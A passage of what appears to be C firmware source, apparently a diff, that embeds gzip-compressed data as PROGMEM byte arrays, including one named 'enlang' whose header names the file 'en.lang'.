0xc7, 0x08, 0x55, 0x0c, 0x3a, 0xce, 0x04, 0x11, 0xbe, 0xfd, 0xcf, 0x0c, 0xb1, 0xcf, 0x96, 0x8e, 0x4c, 0x63, 0x12, 0x2b, 0x79, 0x2d, 0xd9, 0x0a, 0x08, 0xe3, 0x35, 0xac, 0x60, 0xf3, 0x3d, 0x3a, 0xd8, 0xd6, 0xe5, 0x2c, 0xe2, 0xf7, 0xd8, 0xde, 0xc2, 0x27, 0x71, 0x9f, 0x76, 0x0b, 0x0a, 0xe2, 0xf5, 0xf7, 0x86, 0x52, 0x7c, 0xc4, 0xec, 0x26, 0xba, 0x43, 0x75, 0xec, 0xb6, 0x5f, 0x18, 0x82, 0xe1, 0x43, 0xc6, 0x21, 0xbc, 0x04, 0x2a, 0x71, 0x06, 0xa2, 0x5f, 0x30, 0x9a, 0x21, 0x2f, 0xbd, 0x61, 0x08, 0x47, 0x01, 0xcd, 0x0a, 0x5d, 0x93, 0x7a, 0x35, 0x39, 0x96, 0xd5, 0x39, 0x97, 0x49, 0xa9, 0x9e, 0x54, 0x5c, 0x14, 0xb0, 0x8b, 0x0b, 0x0b, 0x56, 0x05, 0xf5, 0x40, 0x2a, 0x15, 0xc8, 0xf5, 0xc5, 0xaa, 0x8d, 0x71, 0xf9, 0x43, 0x2e, 0x75, 0xc6, 0xa8, 0x74, 0xd4, 0x55, 0x9b, 0xc4, 0x57, 0x07, 0xa8, 0x24, 0x28, 0x01, 0xfc, 0x79, 0x47, 0x33, 0x31, 0x69, 0xae, 0x33, 0x52, 0x3b, 0x59, 0x72, 0x36, 0xfb, 0x0b, 0x85, 0x98, 0x4b, 0x61, 0xa2, 0x93, 0x74, 0x62, 0xe5, 0xf9, 0x64, 0xd1, 0xf7, 0xb8, 0x56, 0x25, 0x94, 0x40, 0x65, 0xf3, 0x16, 0x8b, 0x13, 0xe0, 0x55, 0x88, 0xcc, 0xa5, 0x7b, 0x0c, 0x55, 0x44, 0xe7, 0x98, 0x4e, 0x82, 0x37, 0x10, 0xa6, 0xd8, 0x2d, 0x2c, 0x01, 0x2b, 0xda, 0xf2, 0xe9, 0x7a, 0x07, 0x56, 0x73, 0x25, 0x0d, 0x5f, 0x01, 0x52, 0x48, 0xac, 0x89, 0x10, 0xc1, 0xee, 0x78, 0x42, 0x3a, 0x83, 0x1a, 0x72, 0x3a, 0xd0, 0x73, 0x46, 0xc3, 0xa6, 0xbe, 0xda, 0x2e, 0x22, 0xe6, 0xbd, 0x40, 0x5b, 0x14, 0x31, 0x6a, 0xc5, 0x7e, 0x60, 0x9f, 0x02, 0x25, 0x1f, 0x3f, 0x52, 0xef, 0x25, 0x8f, 0xac, 0x40, 0x81, 0x95, 0xa5, 0x00, 0xd8, 0x85, 0x01, 0x2c, 0xa6, 0x66, 0x01, 0x37, 0xef, 0x92, 0x8d, 0xf7, 0xac, 0x18, 0x0e, 0xb1, 0x81, 0xdb, 0x16, 0x00, 0x5c, 0xd0, 0x93, 0x3b, 0xd4, 0xf6, 0xdf, 0xdc, 0x3a, 0x22, 0x1e, 0x23, 0xe6, 0xb6, 0x42, 0x7b, 0xd9, 0x01, 0xf7, 0xb0, 0xf5, 0x4d, 0x8c, 0x72, 0xc7, 0xfd, 0xf7, 0x49, 0x14, 0xe8, 0x00, 0x1a, 0xad, 0x90, 0xb1, 0xa1, 0x11, 0xd2, 0x81, 0x92, 0x3d, 0xff, 0xbc, 0x8d, 0x6e, 0xe6, 0xc3, 0xa3, 0x79, 0x64, 0x4a, 0x8e, 0x91, 0x0b, 0xd2, 0x9e, 0x2d, 0x72, 0x21, 0xf9, 0x25, 0xb6, 0xb4, 0x99, 0xab, 0xc4, 0xe8, 0x05, 0x2d, 0x53, 0x68, 0x04, 0x48, 0x8f, 0x49, 0xd7, 0x61, 0xd9, 0xba, 0x50, 0x7c, 0xcd, 0x31, 0xea, 0x96, 0x8c, 0x8f, 0x11, 0x83, 0xb7, 0xb6, 0x9f, 0x01, 0xf1, 0xd1, 0x3a, 0xd9, 0xfe, 0x1b, 0xc1, 0x48, 0xed, 0x7f, 0xd1, 0x05, 0x9e, 0x68, 0x63, 0x5f, 0x8e, 0xf4, 0x9a, 0xbd, 0xf4, 0x54, 0x60, 0x3a, 0x1c, 0xeb, 0x73, 0xbd, 0xa2, 0xe0, 0x34, 0x76, 0x22, 0x0a, 0x7a, 0x15, 0x6a, 0x70, 0x09, 0x6f, 0xb8, 0x3d, 0x34, 0xbe, 0x69, 0xe0, 0xb4, 0xe3, 0x1d, 0xa0, 0x2a, 0x1a, 0x90, 0xea, 0x81, 0xeb, 0xee, 0xcc, 0xe4, 0x1c, 0x0b, 0xea, 0x82, 0x86, 0xad, 0xdd, 0x9e, 0x0e, 0xbb, 0xb0, 0x33, 0x1f, 0x80, 0x12, 0x5e, 0xbe, 0xdd, 0xd6, 0x22, 0x89, 0x9b, 0x4c, 0xec, 0x9e, 0xfd, 0xe8, 0x43, 0xda, 0xf6, 0x0b, 0x70, 0x20, 0xc5, 0x3f, 0x1a, 0xde, 0x28, 0x28, 0x00, 0xde, 0xe7, 0x7a, 0xa7, 0xa5, 0x3a, 0xd1, 0x82, 0x90, 0x52, 0x58, 0x35, 0x62, 0x25, 0x65, 0xcf, 0x91, 0x8b, 0x54, 0xcc, 0x8b, 0x23, 0xc4, 0x05, 0x53, 0x80, 0x0e, 0x56, 0x02, 0x47, 0xeb, 0xd8, 0x7b, 0xb9, 0x48, 0x6b, 0x4a, 0x58, 0x00, 0x7e, 0x42, 0xce, 0xe8, 0x62, 0xf8, 0xba, 0xb2, 0x26, 0x54, 0xa9, 0x9d, 0x6f, 0x78, 0x8f, 0x83, 0xe8, 0x63, 0x9a, 0xd5, 0x8b, 0x05, 0xfc, 0x33, 0x6a, 0x30, 0xd8, 0x85, 0x6b, 0x1f, 0xaa, 0xb5, 0xe0, 0xe9, 0xe5, 0xf8, 0xe2, 0x52, 0x7d, 0xa7, 0xa6, 0x97, 0x3f, 0x9f, 0x9f, 0xb7, 0xef, 0x77, 0xaf, 0xd2, 0xa3, 0x66, 0x71, 0xb3, 0x68, 0x63, 0xe6, 0xe6, 0xba, 0x9a, 0xcf, 0x85, 0xd2, 0x9a, 0x13, 0xc3, 0x99, 0x92, 0x5a, 0xc0, 0xac, 0xaa, 0x42, 0xd3, 0x2d, 0x7d, 0x4c, 0xc5, 0xf4, 0x06, 0x61, 0xe2, 0x17, 0x17, 0xf2, 0x81, 0x1f, 0x91, 0xd5, 0xb3, 0x82, 0xae, 0x1d, 0x9a, 0x6d, 0x55, 0xca, 0x2b, 0xf9, 0xa4, 0x5e, 0x57, 0x4c, 0x5b, 0x4e, 0xcf, 0x9a, 0x26, 0xfe, 0x1b, 0xab, 0xc6, 0x6f, 0xa6, 0x51, 0xba, 0x3c, 0xbb, 0x46, 0x9b, 0xca, 0x62, 0x53, 0x16, 0x10, 0x13, 0xe7, 0xc4, 0xe5, 0x43, 0x59, 0x0e, 0x67, 0x4b, 0x48, 0x25, 0x76, 0xdc, 0x33, 0x3e, 0x15, 0x05, 0xe7, 0x49, 0x07, 0x68, 0x50, 0x41, 0x4c, 0x6f, 0x91, 0x2b, 0xc4, 0xf4, 0x2a, 0x22, 0x3d, 0xec, 0x0b, 0x15, 0xb3, 0x0c, 0x38, 0x9e, 0xd3, 0x90, 0x89, 0xaf, 0x8b, 0x39, 0x98, 0xda, 0x23, 0x57, 0x50, 0xf7, 0xf8, 0xc2, 0xd0, 0xf6, 0xd7, 0x20, 0xd1, 0xeb, 0x54, 0x29, 0x53, 0x36, 0xf6, 0xd7, 0x30, 0x75, 0x5f, 0x66, 0x8f, 0xae, 0x61, 0xe9, 0x24, 0x94, 0x8f, 0x97, 0xc4, 0x82, 0x44, 0xef, 0x34, 0x59, 0xc4, 0xdb, 0x44, 0x99, 0x71, 0x72, 0x4e, 0xfd, 0xb2, 0xb4, 0x4d, 0x23, 0xe7, 0x64, 0x63, 0x30, 0xe7, 0x21, 0x81, 0x31, 0xb6, 0xdc, 0x7e, 0x5e, 0x30, 0x53, 0xe4, 0x74, 0x55, 0x37, 0xdc, 0x83, 0x9a, 0x95, 0x09, 0xe1, 0x58, 0x52, 0x64, 0xde, 0x9b, 0xe1, 0xa3, 0xc3, 0xc3, 0xbf, 0xb4, 0x34, 0x4b, 0xb8, 0xbe, 0x1d, 0x29, 0x99, 0x47, 0x40, 0xb5, 0x0d, 0x71, 0x3f, 0x88, 0x25, 0x03, 0xd3, 0xf0, 0x36, 0x4d, 0x00, 0x69, 0x94, 0x68, 0xca, 0x7d, 0xd4, 0x10, 0xf1, 0xaf, 0x41, 0x3d, 0xa0, 0xc2, 0x08, 0x6d, 0x13, 0x72, 0x27, 0x8d, 0x51, 0x26, 0x0d, 0xe1, 0x5c, 0x19, 0x28, 0x6c, 0x2e, 0x5e, 0x07, 0x79, 0x41, 0x60, 0xf0, 0x81, 0x91, 0x53, 0x7c, 0x13, 0x35, 0x47, 0x3e, 0x6d, 0x3f, 0xd9, 0xdc, 0x2c, 0x12, 0x6b, 0x04, 0xc5, 0x41, 0x9a, 0x83, 0x90, 0x52, 0x11, 0xa9, 0x1b, 0x10, 0x14, 0xd8, 0xb5, 0x6b, 0x44, 0x62, 0xa6, 0xb0, 0xc4, 0x7c, 0xbf, 0xcb, 0x45, 0x13, 0x9b, 0x69, 0x27, 0x06, 0x71, 0x26, 0x38, 0xb6, 0x0b, 0x62, 0x82, 0x35, 0x81, 0x1f, 0x6a, 0x90, 0x6c, 0x26, 0x83, 0x50, 0x90, 0x24, 0x62, 0xc5, 0xdb, 0xe1, 0x47, 0xef, 0xe8, 0x33, 0x87, 0x89, 0x79, 0xb2, 0xb8, 0x70, 0x17, 0xde, 0x46, 0x77, 0xea, 0x06, 0x3a, 0x3a, 0xd0, 0x46, 0x8c, 0x63, 0x83, 0x79, 0x16, 0x93, 0x71, 0x02, 0x5f, 0xc6, 0x4c, 0x98, 0x25, 0x63, 0xd1, 0x44, 0x96, 0xb0, 0x1f, 0x20, 0x1c, 0xb8, 0xbd, 0x52, 0xcc, 0xa1, 0xf6, 0x6c, 0x66, 0xac, 0xc0, 0x26, 0x19, 0x15, 0x6a, 0x69, 0x05, 0x3e, 0xa6, 0x5e, 0xb3, 0xc4, 0x6a, 0x06, 0x25, 0x63, 0x65, 0x40, 0xec, 0x24, 0x3b, 0x25, 0x7c, 0x6c, 0x5c, 0xb0, 0x66, 0xf8, 0xde, 0x79, 0x20, 0x82, 0xf9, 0x05, 0x4f, 0x60, 0x3e, 0xb4, 0xb3, 0x1c, 0xf4, 0x7e, 0x8a, 0xf4, 0xb6, 0xa1, 0xcd, 0xe2, 0x05, 0xc9, 0x04, 0x15, 0xfd, 0x22, 0x83, 0xdd, 0x8c, 0x58, 0x8d, 0x20, 0x20, 0x9b, 0xd4, 0x14, 0x05, 0x2e, 0x18, 0x5b, 0x05, 0x9b, 0xd8, 0x4d, 0x73, 0xa7, 0x17, 0x31, 0x6f, 0xd2, 0x80, 0x29, 0x43, 0x56, 0xdb, 0xb4, 0xca, 0x68, 0xe9, 0xa5, 0xe3, 0xaf, 0x4e, 0x0a, 0x80, 0xfb, 0xbb, 0x71, 0x8e, 0x71, 0x98, 0x19, 0x46, 0xc9, 0xce, 0xd9, 0xe5, 0x85, 0x1c, 0xdd, 0x39, 0x90, 0x19, 0xca, 0x9e, 0xc9, 0x7c, 0xa4, 0xb4, 0xd5, 0x49, 0xac, 0x95, 0xda, 0x82, 0xc8, 0xba, 0xe8, 0xe9, 0xa6, 0x5e, 0x38, 0xeb, 0x7a, 0x8a, 0x70, 0x64, 0x67, 0xda, 0xe1, 0x01, 0x78, 0xaf, 0x71, 0xab, 0x08, 0xf8, 0x9c, 0x00, 0xc7, 0x9c, 0xe0, 0xcf, 0xd1, 0x77, 0x6d, 0x3a, 0x15, 0x5d, 0x3b, 0x8c, 0xba, 0x6d, 0xe9, 0x9a, 0x93, 0xdb, 0xc4, 0xe1, 0xe3, 0x6d, 0xfc, 0xe8, 0xc1, 0x19, 0x21, 0x12, 0xa3, 0xe2, 0xe8, 0xc9, 0x48, 0xdd, 0x3c, 0x1a, 0x1d, 0xc6, 0x21, 0xcf, 0xf7, 0x3a, 0x56, 0xec, 0xe9, 0x5c, 0x44, 0xc0, 0xa4, 0xbf, 0xd5, 0x78, 0x98, 0x31, 0x86, 0xdd, 0xb0, 0xd3, 0xb9, 0xeb, 0x84, 0xa6, 0xcb, 0xf4, 0x4e, 0x63, 0x1e, 0x75, 0xa0, 0xd2, 0x18, 0x02, 0xe3, 0xbd, 0x1a, 0x67, 0xe0, 0xff, 0x7e, 0x78, 0x5e, 0x21, 0xfd, 0xfd, 0xa0, 0x49, 0x61, 0xb5, 0x1b, 0x3f, 0x7b, 0x85, 0xf1, 0x60, 0xc3, 0x33, 0x2d, 0xda, 0xac, 0xb9, 0xe1, 0xe9, 0xfa, 0x61, 0x9a, 0x3e, 0x5f, 0xe1, 0x48, 0xa4, 0xae, 0x14, 0xe4, 0xed, 0x86, 0x61, 0x10, 0xf6, 0x1f, 0x49, 0xd1, 0x3d, 0x3e, 0xda, 0x91, 0x29, 0x0f, 0x67, 0xf4, 0xb5, 0x59, 0xc3, 0x97, 0x9b, 0xca, 0x09, 0x0d, 0x3f, 0x8f, 0x9f, 0xc3, 0x5d, 0xa5, 0xa2, 0x2e, 0x7f, 0x58, 0x8f, 0x1f, 0xff, 0xb7, 0x1e, 0x9d, 0xd1, 0x68, 0x07, 0x73, 0x92, 0x5a, 0x11, 0x45, 0xe4, 0x46, 0xa1, 0x4b, 0x9e, 0x16, 0xc9, 0x49, 0x4c, 0x85, 0xfa, 0x92, 0x96, 0x26, 0xe7, 0x11, 0x30, 0x05, 0x33, 0x50, 0x86, 0xd9, 0xb7, 0x6b, 0xcc, 0xef, 0xb1, 0xa5, 0xaf, 0x9a, 0x5e, 0xe3, 0x05, 0x9d, 0xc3, 0x33, 0x71, 0xc4, 0x18, 0x37, 0x0b, 0xd5, 0xd3, 0xf8, 0x6a, 0x18, 0xdf, 0xfd, 0xdf, 0x92, 0xb9, 0x69, 0x35, 0x83, 0x53, 0x2b, 0xb4, 0xd3, 0xca, 0x98, 0xd1, 0xef, 0x38, 0x6e, 0x53, 0x27, 0x48, 0x91, 0xa6, 0x51, 0xb0, 0x5b, 0x7b, 0x14, 0xea, 0x7e, 0xf9, 0xcd, 0x24, 0xd7, 0x9b, 0x8d, 0xa2, 0xb6, 0x5f, 0x3b, 0x0c, 0x45, 0xf3, 0xda, 0xa0, 0xf7, 0x7a, 0x42, 0x2d, 0xdd, 0xc9, 0x61, 0xf4, 0xfc, 0x75, 0xa1, 0xff, 0xd1, 0xd7, 0xfb, 0x38, 0x3e, 0x1c, 0x9e, 0x36, 0xd6, 0xdf, 0xbb, 0xe7, 0x12, 0xba, 0x54, 0x75, 0x68, 0xd4, 0xe1, 0x83, 0xa6, 0xe9, 0x8c, 0x96, 0x68, 0xc3, 0xd2, 0x24, 0xad, 0xd7, 0xd8, 0x3b, 0x93, 0xd4, 0x40, 0x89, 0x67, 0x8d, 0x15, 0xdf, 0x22, 0xf9, 0xde, 0x03, 0x8b, 0xd0, 0x96, 0x93, 0x36, 0xdc, 0xb8, 0x61, 0x4f, 0x3a, 0x0c, 0x1e, 0x83, 0x16, 0xf1, 0x7a, 0x8c, 0x31, 0xe1, 0x70, 0xaf, 0x22, 0x85, 0x9d, 0x75, 0x8d, 0xa1, 0x86, 0xb1, 0xb5, 0xb6, 0xc4, 0xdb, 0x32, 0x21, 0xde, 0xe5, 0x7a, 0x5e, 0xf1, 0xe0, 0xcd, 0xe2, 0x0c, 0xe3, 0x44, 0x1b, 0x60, 0x06, 0xc0, 0x02, 0x65, 0x04, 0xf6, 0x7e, 0xcf, 0x11, 0x93, 0x6c, 0x29, 0xf4, 0x77, 0xe2, 0x30, 0x2d, 0xce, 0x82, 0xe2, 0xef, 0x31, 0x0c, 0x1f, 0x78, 0x0c, 0x3a, 0x83, 0xf9, 0x4e, 0x7a, 0xa2, 0x30, 0x55, 0x69, 0x10, 0xbc, 0x91, 0xf1, 0xbf, 0x43, 0x52, 0xfa, 0xca, 0x6f, 0x68, 0xd6, 0x0f, 0x43, 0x37, 0xff, 0xee, 0x2c, 0x9d, 0xae, 0xcd, 0x7c, 0xee, 0xfb, 0x1b, 0xa6, 0xe7, 0xa7, 0x27, 0x27, 0xd3, 0x94, 0x0e, 0x7c, 0x14, 0x24, 0x0c, 0x8f, 0xc1, 0xe7, 0xf7, 0x6b, 0xb4, 0x88, 0xd3, 0x7a, 0xbb, 0xf3, 0xc1, 0xc5, 0xb3, 0x27, 0xc3, 0x87, 0x18, 0x7a, 0xfb, 0xeb, 0x4a, 0xfd, 0x31, 0x5b, 0xf2, 0xca, 0xd7, 0xfa, 0xe3, 0x28, 0xd1, 0x00, 0xbe, 0x16, 0xe5, 0xa1, 0xd4, 0x4a, 0x37, 0x79, 0x33, 0x55, 0x7f, 0x55, 0x47, 0x47, 0x03, 0x35, 0x79, 0xc3, 0x1f, 0x1e, 0x0f, 0xd4, 0x0b, 0xbd, 0xd6, 0x96, 0x3f, 0xff, 0x79, 0x5f, 0x56, 0x36, 0x3e, 0x17, 0x59, 0xe3, 0xa7, 0xc3, 0x71, 0xee, 0xf8, 0xe2, 0x29, 0x5d, 0x87, 0x75, 0x6a, 0x9a, 0xc9, 0x63, 0xed, 0xa5, 0x4d, 0x71, 0x83, 0xa6, 0xb6, 0x47, 0xa8, 0x66, 0x0f, 0xc3, 0xb4, 0x46, 0x89, 0xa4, 0x1b, 0x4c, 0x89, 0xa4, 0xa4, 0x10, 0x27, 0xdb, 0x5d, 0x59, 0x9d, 0x90, 0xa2, 0x09, 0xdd, 0xd1, 0x69, 0x1a, 0xee, 0xd5, 0xa9, 0x19, 0xbf, 0xff, 0x90, 0x3a, 0x83, 0x56, 0x9f, 0x9e, 0x9c, 0xdf, 0x52, 0x05, 0xd2, 0x9b, 0x5b, 0x9a, 0xe6, 0x76, 0xe6, 0x4e, 0xe9, 0x76, 0x2f, 0xee, 0x24, 0x18, 0xdc, 0x62, 0x30, 0x0b, 0x4b, 0x4c, 0x40, 0xe4, 0xf8, 0xc2, 0x50, 0x10, 0x35, 0x51, 0xb5, 0xe4, 0x9c, 0x07, 0xac, 0xa2, 0x68, 0xf4, 0x34, 0x62, 0xf3, 0xf0, 0x79, 0xb5, 0x5e, 0xe3, 0xd0, 0xbe, 0x3e, 0x7b, 0x90, 0x56, 0x1a, 0x1b, 0xc9, 0xb1, 0x24, 0xd9, 0x6b, 0x4c, 0x79, 0xa5, 0x46, 0x4a, 0xc5, 0x9b, 0x17, 0x58, 0xfc, 0x55, 0xea, 0x1c, 0xd1, 0x3d, 0x66, 0x88, 0xb0, 0x14, 0xd6, 0x1c, 0xa9, 0x95, 0x7c, 0x80, 0xba, 0x8a, 0x4d, 0x75, 0x1f, 0xe2, 0x84, 0x00, 0x84, 0x16, 0x54, 0xb8, 0x88, 0x60, 0x00, 0x09, 0xa5, 0x6e, 0xa1, 0x45, 0x7c, 0x9f, 0xc8, 0x42, 0x17, 0x52, 0xf8, 0xd2, 0x1a, 0x66, 0xa5, 0x46, 0x72, 0x65, 0xa7, 0x3d, 0x9c, 0x48, 0x23, 0x2e, 0xe2, 0x75, 0x52, 0xdb, 0x15, 0xab, 0x1b, 0x29, 0x7e, 0x0b, 0x33, 0x7d, 0x6d, 0xe6, 0x95, 0xcb, 0x68, 0xcd, 0x87, 0xc4, 0xab, 0xa5, 0x77, 0x38, 0xb5, 0x9a, 0x07, 0xa1, 0xcf, 0x35, 0x17, 0x76, 0xa2, 0x68, 0xa0, 0x95, 0x85, 0x30, 0x6f, 0xe1, 0x95, 0x89, 0x35, 0x09, 0x43, 0xe3, 0xea, 0x88, 0x33, 0x6b, 0xe2, 0x5a, 0x98, 0x47, 0xd8, 0xd3, 0x50, 0x64, 0x23, 0x43, 0x51, 0xba, 0x7a, 0xed, 0x4f, 0xdd, 0x04, 0xbe, 0x25, 0x9d, 0x55, 0x2c, 0x30, 0xea, 0x6d, 0xe5, 0x78, 0x28, 0xc6, 0x28, 0x3d, 0x48, 0xfa, 0xdf, 0xa1, 0x2d, 0x1d, 0xd6, 0xce, 0xbf, 0x10, 0x01, 0x2d, 0x46, 0xde, 0x25, 0x56, 0x8c, 0x56, 0x2e, 0x5f, 0x3e, 0x72, 0xf0, 0xe2, 0xf9, 0xcc, 0xc4, 0x1e, 0x7d, 0xff, 0x7d, 0x1f, 0xd5, 0xe2, 0x54, 0xe5, 0xd7, 0x58, 0x20, 0xd7, 0x69, 0x8d, 0xc9, 0x71, 0x9a, 0xb9, 0x13, 0xe9, 0x78, 0x17, 0x85, 0x71, 0xd1, 0xfb, 0x2a, 0x33, 0x50, 0x7d, 0x17, 0xfc, 0x1d, 0x06, 0xa6, 0x4b, 0x8c, 0xc6, 0x1b, 0x3d, 0x87, 0xdd, 0x69, 0x42, 0x22, 0xff, 0x82, 0xb4, 0x8f, 0xdc, 0x8d, 0x75, 0x8e, 0xdf, 0x86, 0x4f, 0x99, 0x87, 0x49, 0x46, 0xed, 0xfc, 0x1a, 0x9b, 0x4a, 0xbc, 0x48, 0x49, 0x23, 0x83, 0x24, 0x59, 0x19, 0x4f, 0x84, 0x13, 0x3d, 0x53, 0xdd, 0x01, 0x5f, 0xee, 0xa5, 0x8b, 0x8d, 0xce, 0x5c, 0x08, 0xe3, 0x10, 0x6c, 0x7b, 0x1f, 0xdf, 0x88, 0x53, 0x49, 0x87, 0xbf, 0xbc, 0xeb, 0xb5, 0x7c, 0x6e, 0x3d, 0x62, 0x49, 0x7f, 0x5c, 0xf9, 0xfa, 0x50, 0x75, 0x9f, 0xf4, 0xd3, 0xce, 0x05, 0xe7, 0xbe, 0xf8, 0xd6, 0x57, 0x1f, 0xd2, 0x4d, 0x1a, 0x27, 0x56, 0xff, 0x34, 0x69, 0x2f, 0xa9, 0x16, 0x46, 0x6a, 0x5a, 0xf1, 0xf8, 0x21, 0x50, 0x7f, 0x74, 0x78, 0x58, 0x32, 0x50, 0x21, 0x3d, 0xf8, 0x56, 0xf2, 0xf3, 0xf6, 0x57, 0xb9, 0x92, 0x38, 0xdd, 0x91, 0x84, 0x19, 0x76, 0xd6, 0x3c, 0x5d, 0xca, 0x98, 0x06, 0x5c, 0x9a, 0x99, 0xc2, 0x04, 0xce, 0x1a, 0xb9, 0x08, 0x25, 0xbe, 0xc5, 0x71, 0x31, 0x19, 0x87, 0xd3, 0xb5, 0x2e, 0x51, 0xff, 0xc8, 0x39, 0xcd, 0xed, 0x0b, 0x72, 0x64, 0x7c, 0xc3, 0xf9, 0x85, 0xb0, 0x42, 0x66, 0xb3, 0x35, 0x93, 0x0b, 0xbe, 0xe5, 0xeb, 0x4f, 0x28, 0xbd, 0x61, 0x08, 0x60, 0x6a, 0xee, 0x72, 0x8e, 0x78, 0x83, 0x70, 0xf9, 0x77, 0x69, 0xa0, 0x72, 0x31, 0xe1, 0x55, 0x7c, 0x66, 0x6e, 0x29, 0x57, 0xa8, 0x05, 0xeb, 0x4b, 0xe3, 0x99, 0xbe, 0xab, 0x75, 0x05, 0x39, 0x0a, 0xd5, 0x28, 0xce, 0x67, 0xcc, 0x02, 0x3a, 0xa8, 0xe8, 0x4b, 0x80, 0x50, 0xae, 0x64, 0x8e, 0x52, 0x2e, 0x4e, 0x4e, 0x3c, 0x72, 0x20, 0x0b, 0xf7, 0x88, 0x31, 0xaf, 0xf0, 0xe7, 0xe4, 0xd8, 0xa5, 0xfd, 0xc4, 0x96, 0xb1, 0x4b, 0xed, 0xc6, 0x2e, 0xac, 0x8c, 0x7e, 0xff, 0x5d, 0x59, 0xdb, 0xfc, 0xf6, 0xb1, 0x61, 0xb9, 0x7e, 0xed, 0xb8, 0xe8, 0xee, 0x72, 0xc7, 0x54, 0xca, 0xf1, 0x72, 0x2b, 0x75, 0x10, 0x41, 0x80, 0xb5, 0xf0, 0x0b, 0x0e, 0xa8, 0x6c, 0xcd, 0xb9, 0x53, 0x2b, 0xfa, 0xc8, 0xbf, 0xd8, 0x41, 0x42, 0x7c, 0x7b, 0xf0, 0xcd, 0xbf, 0xbe, 0xf9, 0x2f, 0x25, 0x74, 0x0f, 0x87, 0xea, 0x1c, 0x00, 0x00}; +const char enlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x65, 0x6e, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x59, 0x6d, 0x6f, 0x1b, 0xb9, 0x11, 0xfe, 0xdc, 0xfb, 0x15, 0x8c, 0xbf, 0x5c, 0x02, 0xc8, 0x3a, 0xdb, 0xe9, 0x1d, 0xd2, 0x03, 0xfa, 0xc1, 0x89, 0x9d, 0xab, 0xda, 0xc6, 0x31, 0x2c, 0x5f, 0xd3, 0x02, 0x01, 0x04, 0x6a, 0x97, 0x92, 0x78, 0xde, 0x25, 0x55, 0x92, 0x6b, 0x45, 0x2d, 0xfa, 0xdf, 0xfb, 0xcc, 0x0c, 0xb9, 0xda, 0x95, 0x9d, 0xf6, 0xbe, 0xdc, 0xe1, 0x00, 0xaf, 0xf8, 0x32, 0x1c, 0xce, 0xcb, 0x33, 0xcf, 0x30, 0xff, 0xfe, 0x46, 0xe1, 0xbf, 0x93, 0x46, 0xbb, 0xf5, 0xc9, 0x8f, 0xea, 0xc4, 0xb8, 0x93, 0x89, 0x8c, 0xec, 0x74, 0x70, 0x56, 0x06, 0x3f, 0x5d, 0xde, 0xdd, 0xcc, 0x6e, 0x7e, 0x2a, 0x33, 0xb5, 0x8d, 0x55, 0xa3, 0x6d, 0x6b, 0x02, 0x4d, 0xde, 0x6f, 0x6c, 0x54, 0xdb, 0xe0, 0x7f, 0x31, 0x55, 0x52, 0xf8, 0xd4, 0xf4, 0xc3, 0xaf, 0x14, 0xfe, 0xaf, 0xbc, 0xab, 0xcc, 0x36, 0xa9, 0x95, 0x0f, 0x2a, 0x99, 0x98, 0x20, 0x4e, 0x69, 0x57, 0x2b, 0x53, 0x77, 0x95, 0x4e, 0xd6, 0x3b, 0xdd, 0xa8, 0x6d, 0x17, 0xb6, 0x3e, 0x9a, 0x38, 0xfd, 0xec, 0x6e, 0x8c, 0x4d, 0x1b, 0x83, 0xa5, 0x1b, 0xa3, 0xae, 0xe7, 0xb7, 0x6f, 0x2e, 0x7e, 0xf8, 0x61, 0xa2, 0x1c, 0xf6, 0xda, 0x14, 0xd5, 0xfc, 0xea, 0x2f, 0x6a, 0xa7, 0xa3, 0x6a, 0x8d, 0x76, 0x49, 0x61, 0x70, 0xd9, 0xd9, 0xa6, 0x66, 0xd1, 0xb1, 0xab, 0x36, 0x07, 0x39, 0xea, 0x6d, 0xb7, 0x8e, 0xaa, 0xd2, 0x4e, 0xf9, 0xaa, 0xea, 0xc2, 0x8b, 0xcf, 0xee, 0xb3, 0xfb, 0x39, 0x1a, 0x08, 0x51, 0xde, 0x35, 0x7b, 0xa5, 0xd7, 0xda, 0xba, 0x98, 0xd4, 0xde, 0x77, 0x41, 0xf9, 0x9d, 0x53, 0xce, 0xa4, 0x9d, 0x0f, 0x0f, 0x91, 0x55, 0xab, 0xcd, 0xa3, 0xad, 0x4c, 0xe4, 0x5d, 0xb3, 0xa4, 0x3a, 0x48, 0x54, 0x8f, 0xba, 0xb1, 0xb5, 0xfa, 0x64, 0x4f, 0xdf, 0x5b, 0xb5, 0x0a, 0xba, 0xc5, 0x50, 0x6d, 0x62, 0x15, 0xec, 0xd2, 0xd4, 0xca, 0x3a, 0xd6, 0x77, 0x76, 0x7d, 0x7d, 0xad, 0xde, 0x9c, 0x5d, 0x4c, 0xcf, 0xcf, 0x55, 0x4c, 0x90, 0xa4, 0x43, 0x2d, 0x02, 0x3d, 0x96, 0x3b, 0x9f, 0xd4, 0xb2, 0xf1, 0xd5, 0x03, 0x29, 0x0e, 0xf3, 0x85, 0x0e, 0x56, 0xd1, 0x6e, 0x0f, 0x71, 0xe6, 0x9f, 0x9d, 0x71, 0x95, 0x65, 0x03, 0xdc, 0x36, 0x46, 0x43, 0xd3, 0x6a, 0x63, 0xb0, 0x92, 0xa4, 0x36, 0x66, 0x0d, 0x13, 0x05, 0xb3, 0xee, 0x1a, 0xb6, 0x57, 0xa4, 0xe3, 0x58, 0xf1, 0xca, 0x77, 0x2e, 0x85, 0xbd, 0x5a, 0x1a, 0x58, 0xc0, 0x40, 0x4f, 0xb2, 0xad, 0x4d, 0x53, 0xd2, 0x3b, 0x8b, 0xa9, 0xbd, 0xfb, 0x36, 0x61, 0xf3, 0x8a, 0x4c, 0xea, 0x21, 0x6f, 0xe0, 0x27, 0x18, 0xf2, 0xf3, 0xc9, 0x2f, 0xba, 0x85, 0x0f, 0x3f, 0x9f, 0x4c, 0x30, 0xa7, 0x13, 0xd6, 0x24, 0xdd, 0xc0, 0x40, 0x9d, 0xab, 0x4d, 0x68, 0xad, 0x83, 0xde, 0xa4, 0x43, 0x30, 0x07, 0x2f, 0x91, 0x53, 0x87, 0x72, 0x60, 0xa6, 0xd9, 0x8a, 0x14, 0xc2, 0x61, 0x93, 0xde, 0xc2, 0x98, 0x7c, 0xe4, 0xcd, 0x3a, 0xc9, 0x9c, 0xad, 0x49, 0x13, 0x96, 0xcb, 0xb6, 0xa1, 0xab, 0x43, 0x0c, 0x34, 0x86, 0xbc, 0x1d, 0x9f, 0x3d, 0x54, 0x8e, 0xd7, 0x44, 0x72, 0x2d, 0xd9, 0xa4, 0x5b, 0x36, 0x36, 0xf2, 0x62, 0x84, 0x53, 0x32, 0x70, 0xbe, 